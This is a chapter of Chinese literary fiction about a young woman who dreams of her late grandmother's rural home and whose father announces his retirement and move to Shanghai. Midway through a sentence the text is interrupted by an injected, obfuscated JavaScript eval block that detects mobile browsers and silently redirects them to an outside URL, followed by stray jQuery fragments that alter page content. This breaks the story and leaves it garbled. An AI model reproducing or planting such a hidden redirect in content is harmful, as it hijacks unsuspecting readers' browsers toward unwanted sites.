苏晚洗漱后爬到床上。床上铺着她惯用的那套床品，那被套的底面用的是崇明土布，常见的蓝白基调透着一股古朴的韵味，洗了很多次，还是那么的硬软舒服，贴着皮肤很舒服。以前它是母亲为女儿准备的嫁妆，承载着亲情与祝福。苏晚记得小时候那几年回崇明老家，每次临走，奶奶都会从床边的老樟木箱子里搬出一匹布来，用粗纸裹着，塞进父亲的行囊。那些布匹一卷一卷码在家里那个专用的木柜里，压着箱底，沉甸甸的。近两年父亲翻出来，找人裁了几套床品，当时问过苏晚要不要，她摆了摆手，说了句“用”，父亲便没再问。
她习惯性地把被子拉上来，盖住腿，又用手在被面上轻轻拍了两下，拍得平整服帖，才从床底下拖出张折叠的黑色小桌子架在被面上。那小桌面有些划痕。
她把枕头垫在腰后面，靠上去，翻开床头那本看到一半的书，书签露出一截带子，在台灯下晃了晃。翻了几页，目光从字面上滑过去，却没落进脑子里，便又合上了，搁在枕头边。然后她打开电脑继续看《EU超时任务》。床边的立式电风扇呼呼地转着，风叶把台灯的光切成一段一段的，在墙上晃来晃去。
第三集。
“你昨晚不是说了吗？爸爸被你冤枉，被关进拘留室了。”弟弟的声音从扬声器里传出来。
“对。”女主走过来坐下，顿了顿，“不对。就算能阻止爸爸，4点45分死于枪战现场，小美今天也会被绑架。”
“那你岂不是又要回去救她了吗？”
“但我担心有蝴蝶效应，会影响爸爸。算了，反正小美最后没事。”
苏晚靠在床头上，眼皮越来越沉。屏幕的光映在她脸上，随着画面的切换一明一暗，台词一句一句地飘进耳朵，又一句一句地飘出去，像水面上滑过的叶子，不留痕迹。她的身体慢慢往下滑，她索性把枕头抽出来平放，整个人躺了下去。躺下去之前，她伸出一只手，把小桌子连电脑一起端起来，轻轻放在床边的地板上，桌腿着地时发出一声轻响。然后她把被子拉上来，盖到胸口，侧过身，面朝电脑的方向。屏幕的光从低处照上来，把她的脸切成明暗两半。
她不知道自己是什么时候合上眼睛的，只记得最后的画面是男女主角站在天台上，风把女主的风衣吹得猎猎作响。
男主的声音忽然变得很远，像从另一个世界传过来：“你以为改变了过去就能改变未来？蝴蝶效应，你知道吗？你扇一下翅膀，那边可能就是一场风暴。但问题是，你自己也不知道那一扇翅膀会带来什么。你记住的那些事，别人不一定记得。每个人看到的都是自己的那条线。”
女主没有说话，望着远方，眼睛里有一点光，亮亮的，像眼泪，又像星星。
电脑没有关，剧集继续往后播着，一段一段的对话在安静的房间里流淌。屏幕的光在地板上铺了一小片，幽幽的，像一扇半开的门。窗外不知什么时候起了风，先是轻轻的，像有什么东西从远处慢慢走过来。然后越来越大，树枝被压弯了腰，发出哗啦啦的声响。玻璃被撞得一下一下闷响，像是有什么东西在外面轻轻拍着窗户，要进来，又没进来。那声音断断续续的，一阵紧过一阵。苏晚已经睡熟了，呼吸匀匀的，什么也没听见。电脑屏幕的光映在她脸上，一明一暗。
视线低下去，低到只能看见一个屋檐。是那种老式平房的屋檐，瓦片青灰，一片叠一片，像鱼脊背上的鳞。屋檐探出很长，雨水从瓦楞间淌下来，连成一道晃晃悠悠的水帘，哗哗地砸在地上，砸出一排浅浅的小坑。泥水溅起来，溅到一条裤腿上。看不清裤子以上的部分，只看得见脚踝以下，是一双运动鞋的鞋头，灰白色，沾着泥点。没有人出镜，也没有人脸。雨水顺着屋檐滴下来，落在一双手背上——骨节分明，皮肤薄得能看见底下青色的血管，指甲剪得短短的，指节微微蜷着，像是在接那滴水，又像是在挡。
那双手动了一下。身子往前倾了倾，又直起来。往后退了半步，肩膀蹭到了什么。侧过头——是一扇木门。乡下那种老式的木门，两扇对合，背后横着一根粗木杠，死死地闩着。左边那扇门的左上角开了一个小窗，方方正正的，玻璃蒙着灰，透不进多少光，只能隐约看见外面灰蒙蒙的天。门框的木头上，深棕色的漆剥落了大半，露出底下灰白的木纹，一道一道的，像老人手背上的筋络，摸上去该是粗糙的。门框上钉着一块铁皮门牌，锈迹斑斑的，上面的字已经看不清了，只能隐约分辨出几个笔画，像干涸的河道。手指伸过去摸了摸，铁皮冰凉，粗糙，边缘翘起一小片，割了一下指腹，不疼，但能感觉到。手缩回来，放在眼前看了看——指腹上有一道浅浅的白印子，没有出血。
人站在屋内。光线暗得很，不是那种关了灯的暗，是那种老房子特有的暗——光线被岁月泡过，被烟火熏过，被一代又一代人的呼吸染过，变得稠了，厚了，像一碗搁了太久的米汤，表面结了一层灰白色的皮，揭不开，搅不动。眼睛在慢慢适应，瞳孔一点一点地张开，黑暗像潮水一样缓缓退去，露出底下湿漉漉的沙。轮廓开始浮现。先是门框，然后是门框后面的墙，墙是白的，但已经不是那种干净的白了，是灰白，是被时间反复浆洗过的白，像一件穿了太久的白衬衫，领口和袖口泛出陈旧的黄，还有几块水渍洇在那里，形状像地图上的岛屿。墙上挂着一幅画，木头框，里面是一张年画——胖娃娃抱鲤鱼。娃娃的脸已经模糊了，只剩一团粉色的影子，倒是鲤鱼的眼睛还在，黑黑的，亮亮的，像两颗被钉在那里的纽扣，直直地盯着。
目光往屋子深处探去。更暗了，暗得像一口倒扣的锅。但还能看见一些东西——一张八仙桌，桌腿漆黑，桌面深褐，上面搁着一只搪瓷杯，杯身上印着“劳动最光荣”几个字，红漆已经磨得断断续续了，像一条被截成几段的细线。桌子一边抵着白墙，其余三边各摆着一条长凳，凳面磨得油亮，边角圆润，不知道坐了多少年，凳腿上有小孩用粉笔画的小人，歪歪扭扭的，已经褪得差不多了。地上铺的是青石砖，缝隙里嵌着黑硬的泥，脚踩上去，有一种说不出的踏实。门对面的长凳后面，是一个灶膛口，口子黑黢黢的，往里延伸，深处堆着成捆的干木枝，齐齐地码着，像一捆捆柴火。灶膛边上，贴墙立着一个水龙头，龙头把手上缠着一圈布条，大概是冬天怕冻手。龙头下方是一口石砌的水缸，缸口盖着一块木板，板面潮乎乎的，边角长了一层薄薄的黑霉。水缸旁边就是房子的后门，门板紧闭，门缝里透进来一丝光，细细的，白白的，像是另一个世界漏进来的。
视线从后门往右转，是一间卧室的房门。门口横着一道青石门槛，磨得中间低两头高，不知道多少人跨过。得抬脚跨过去。门里，迎面是一张老式的架子床，床口挂着纱帘，帘子垂着，看不清里面，只看见帘面上绣着白色的碎花，花蕊是粉色的，已经褪得差不多了。床架子上搭着一件衣服，袖口垂下来，像一个人无力地垂着手。床的斜对面，立着一个五斗橱，漆面暗沉，感觉走了过去，拉开了最上面那层抽屉，里面露出几个药瓶，瓶身白的绿的都有，塞着棉花，随后视线四下张望，有那么一瞬间，想不起来抽屉半敞着是忘了关还是关不上。视线从五斗橱移开，落在橱边的那张床上——是乡下那种最老式的床，有床架，有床柱，木头已经被摸得油亮，床角雕着什么花纹，看不太清，只摸到过，小时候觉得硌手。床上的被子叠得整整齐齐，枕头旁边放着一副老花镜，镜腿打开着，像刚刚被人摘下。
这是梦。她知道。她要想醒来。
可是她动不了。脚像被钉在地上，手抬不起来，连转一下头都费力。她能看见，能听见，能闻到——灶膛口的柴火味，搪瓷杯里的陈茶味，还有那个房间潮湿的味道。这些味道太真了，真到她鼻子发酸。
然后她感觉到失重，感觉到了床下的软塌感。现实中的身体一动不能动，像被什么东西压住了，手脚都使不上力，但她能感觉到眼角有什么东西在往外溢，温热的，顺着太阳穴往下淌，淌进耳朵里，痒痒的。她知道那是泪水。她不知道自己在哭什么。
苏晚终于醒了。
眼角湿了一片，枕头上一小块冰凉的水渍，洇开成不规则的圆形，像一滴很大的雨砸在干燥的泥地上。窗外天已经亮了，灰白色的光从窗帘缝隙挤进来，落在地板上，一小条，静静的。床边的立式风扇还在呼呼呼地转。
门外有人走动的声音。拖鞋蹭着地板，沙沙的，从走廊那头走到这头，停了一下。然后是轻轻的敲门声，不重，两下。
“清清？”爸爸的声音隔着门板传进来，闷闷的，像隔了一层棉被。
苏晚没有动。她躺在床上，盯着天花板。她眨了眨眼睛，睫毛还是湿的，黏在一起，她用手背蹭了一下，手背上一道湿痕。她把手举到眼前，翻过来，看了看她把手指并拢，又张开，并拢，又张开。这是她的手，不像梦里的手。
那是外婆家。她梦见的那个地方，是外婆家。那个门，那个灶膛，那张架子床，那件搭在床架上的衣服——她知道。
她坐起来，被子滑到腰际。露出被套上的蓝白格子。她低头看了一眼那些格子，用手指摸了摸，硬的，软的，带着体温。房间里很暗，只有那一道光。她转头看了看旁边，现在这个房间还是属于自己一个人的。
“怎么会梦到外婆家？”她的声音很轻，像从喉咙里漏出来的气音，在空荡荡的房间里飘了一下。她伸手摸到手机，按亮屏幕。光刺得她眯了一下眼睛。时间在那行数字上停了一秒，她看清了，把手机翻过去扣在床上，要上班了。
她掀开被子，脚踩进拖鞋里。拖鞋是棉的，底子薄，踩在地板上凉凉的，从脚底心窜上来。她站起来，走到窗边，把窗帘拉开。阳光涌进来，扑在脸上，刺得她眯了一下眼睛。她站了一会儿，转过身开门走进卫生间。镜子里的自己眼角还有没擦干净的泪痕，头发乱糟糟的。她拧开水龙头，捧了凉水扑在脸上，一下，两下，三下。水顺着下巴往下淌，滴在领口上，凉飕飕的。她抬起头，看着镜子里的自己，水珠挂在睫毛上，亮晶晶的，她眨了一下，水珠落下来。
“爸爸，我回来了。”苏晚下班回家的声音伴随着开门声，钥匙在锁孔里转了两圈，咔哒一声，门开了。大厅里静悄悄的。厨房门关着，但里面的动静不小，锅铲碰着铁锅，叮叮当当的，油烟机轰轰地转着，还有水龙头偶尔被拧开又关上的声音。门开了，苏晚看到爸爸端着菜走出来，一盘青椒炒肉丝，青椒切得不规则，有的宽有的窄，肉丝也是，有的长有的短，但油亮亮的，冒着热气。
“清清，回来了。”父亲把菜放在桌上，碗底磕在桌面上，咚的一声，顺手把盘子转了转，让肉丝多的那一面朝外。
“嗯。”苏晚看着父亲把菜端放在桌子上，转身又回厨房忙碌去了，围裙系在腰上，带子在后面打了个结，跑出来的两根绳子一甩一甩的。她回房把背包放下。她把衣服袖子卷了卷，卷到手肘，露出一截小臂，准备去厨房看看有什么可以搭把手的。
厨房里，父亲站在灶台前面，手里拿着一把长柄勺，正在搅锅里的汤。汤是萝卜炖排骨的，白萝卜切成滚刀块，大小不一，有的炖得透明了，有的还白着，排骨的骨头从汤里支出来，油花在汤面上聚成一小片一小片，反着光。他听见脚步声，转过头，看了苏晚一眼，嘴角弯了一下，幅度不大，但能看出来，眼角的皱纹挤在一起，像一把收拢的折扇。
“清清，早上是怎么了？”他的声音有点哑，像砂纸在木头上蹭了一下。
“没事。”苏晚愣了一下，靠在门框上，手扶着门框，指尖在木头上蹭了一下，看着锅里的汤。汤咕嘟咕嘟冒着泡，白汽从锅盖的缝隙里冒出来，一团一团的，在厨房里飘散，带着排骨的肉香和白萝卜的甜味。
“再等一会，可以吃了。”父亲把勺子从锅里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437439|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拿出来，搁在碗沿上，勺子上还挂着汤，一滴一滴往下滴，滴在灶台上，洇开一小摊。他转过身，从碗柜里拿出一个大白碗。
“好。”苏晚说。她没有说梦的事。她不想说。
父亲把汤盛好放在灶台上，汤面刚好到碗沿的八分满，不溢不欠。他继续把另一个锅里的菜盛在盘子里，是一盘红烧排骨，酱色的，油亮亮的，骨头支出来，肉缩上去，露出白白的骨头尖。他让苏晚端上桌子，自己打了两碗饭，一碗堆得尖尖的，一碗平平的，尖的那碗推给苏晚，平的那碗留给自己。两个人坐下来，谁都没说话。只有吃饭的声音——碗筷碰撞的叮当声，咀嚼的咔嚓声，喝汤的吸溜声。这些声音混在一起，不吵，但填满了整个餐厅，填得满满的，不让安静钻进来。
父亲放下碗。碗底磕在桌面上，咚的一声，不重，但很沉。他靠在椅背上，手搭在膝盖上，看着苏晚。苏晚抬起头，看了他一眼，又低下头，继续吃。她把一块排骨的骨头吐出来，搁在碟子边上，骨头上的肉啃得很干净，一点都没剩。
“清清，我跟你说个事。”父亲的声音不高，但每个字都说得很清楚。
苏晚把勺子停在碗里，抬起头看着他。勺子上还舀着一口汤，汤面上浮着一小片油花，亮晶晶的。
“今天开始，我退休了。”父亲说。他的嘴角微微翘着，嘴角的弧度不大。
苏晚没说话。她不知道该说什么。退休这件事她早就知道。父亲到年龄了，手续也办得差不多了，但“知道”和“听到他说”是两回事。
“我准备回上海照顾你奶奶。”父亲又开口了。他的手指在膝盖上慢慢蹭了一下，像在擦什么东西，蹭了一下，又蹭了一下。
苏晚点了点头。“好。”她说。声音很轻，但说得很清楚。
父亲看着她，看了两秒。那两秒很短，但苏晚觉得过了很久。他的目光在她脸上停了一下，从她的眼睛看到她的鼻子，从鼻子看到嘴角，然后又移开了。他端起碗，把剩下的汤一口喝完，碗底朝天，露出碗底的印花，一朵蓝色的兰花，缺了半片花瓣。他用筷子把粘在碗壁上的米粒拨进嘴里，嚼了两下，咽下去。他把碗放下，碗底又磕了一下桌面，咚的一声。他用纸巾擦了擦嘴，纸巾在嘴唇上压了一下，对折，再压一下，然后揉成一团，放在碗旁边。
“你一个人在家，自己照顾好自己。”他说，声音有点不一样了，低了一些，慢了一些，像在说一件他不太想说但又不得不说的事，每个字都像是在舌头底下压了一会儿才放出来。
苏晚把碗里的汤喝完，把碗放下。“知道了。”她说。她知道自己应该说“你放心”或者“我会的”，但她说不出来。
父亲站起来，把碗端进厨房，放在水槽里。他拧开水龙头，水冲在碗上，哗哗的，把米粒冲进水槽的滤网里，米粒卡在网眼上，一粒一粒的。他关了水，甩了甩手上的水珠，在围裙上擦了两下，围裙上已经有很多水渍了，深的浅的，叠在一起。他转过身，站在厨房门口，看着苏晚。厨房的灯在他背后，他的脸在暗处，看不清表情，只看见一个轮廓。
“冰箱里有菜，自己热着吃。别老吃泡面。”他的声音从暗处传过来。
“嗯。”
“晚上早点睡，别老看手机。”
“嗯。”
“有什么事给我打电话。”
“嗯。”
父亲站了一会儿，没再说什么。他的手从围裙上放下来，垂在身侧，手指微微蜷着。他转身回房间了，拖鞋踩在地板上，沙沙的，沙沙的，越来越远。苏晚听见他拉开衣柜的拉链声，拉链齿咬合又松开，发出细细的声响，一下，两下，三下。听见衣架碰撞的声音。听见他翻箱倒柜找东西的声音，抽屉被拉开又推上，推上又拉开。
她坐在餐桌前，手里还攥着勺子，勺子上沾着饭，已经凉了，凝成一层薄薄的膜。她把勺子放在碗沿上，碗沿上搁着勺子，勺子柄翘起来，像一个小小的跷跷板。她站起来，把碗端进厨房。水槽里有两个碗，一白一蓝，叠在一起，白碗扣在蓝碗上面，碗底朝上，像两朵倒扣的蘑菇。旁边还有一双筷子，并排躺着，筷头对齐，筷尾对齐，整整齐齐的。她拧开水龙头，把碗冲洗干净放好。
她站在厨房里，手撑在灶台边上，灶台是白色的瓷砖，瓷砖缝里嵌着黑色的美缝剂，有些地方已经裂了，露出一条细细的缝。她看着窗外的天。天很蓝，蓝得透亮。几朵云挂在那里，一动不动。楼下有人在遛狗。她看了一会儿，转身走出厨房。经过走廊，经过父亲房间的门口。门半开着，她往里看了一眼。父亲蹲在地上，面前摊着一个行李箱，箱子的拉杆已经拉出来了，竖在那里，像一根天线。箱子里已经放了几件衣服，叠得不太整齐，袖子和裤腿支出来，像一丛杂草。他正在把一件外套往里面塞，塞不进去，往外拽了拽，换个方向，再塞。他的背影微微弓着。她没有叫他。她轻轻走过去，脚步放得很轻，几乎听不见。
她回到自己的房间，关上门。门锁咔哒一声，弹进去了。她靠在门板上，站了一会儿。房间很安静。她走到床边，坐下来，手搭在膝盖上，手指交叉握在一起。她看着对面那堵白墙，墙上什么也没有，一整片的、干干净净的白。看了很久。
她的脑子里转着父亲说的话——“今天开始，我退休了。”“我准备回上海照顾你奶奶。”这些句子很简单，没有生僻字，没有复杂的结构，但她在心里把它们翻来覆去地念了好几遍。她知道家里会有一段时间只有她一个人了。不是“可能”，是“一定”。父亲去上海，不知道要待多久，也许一个月，也许一年，也许更久。奶奶的身体不好，年纪也大了，身边不能没有人。父亲是长子，这是他的责任。苏晚知道。
她躺下来，把被子拉到下巴，被子软软的，凉凉的，带着洗衣粉的味道。她闭上眼睛，想睡一会儿，但睡不着。脑子里是昨晚的梦。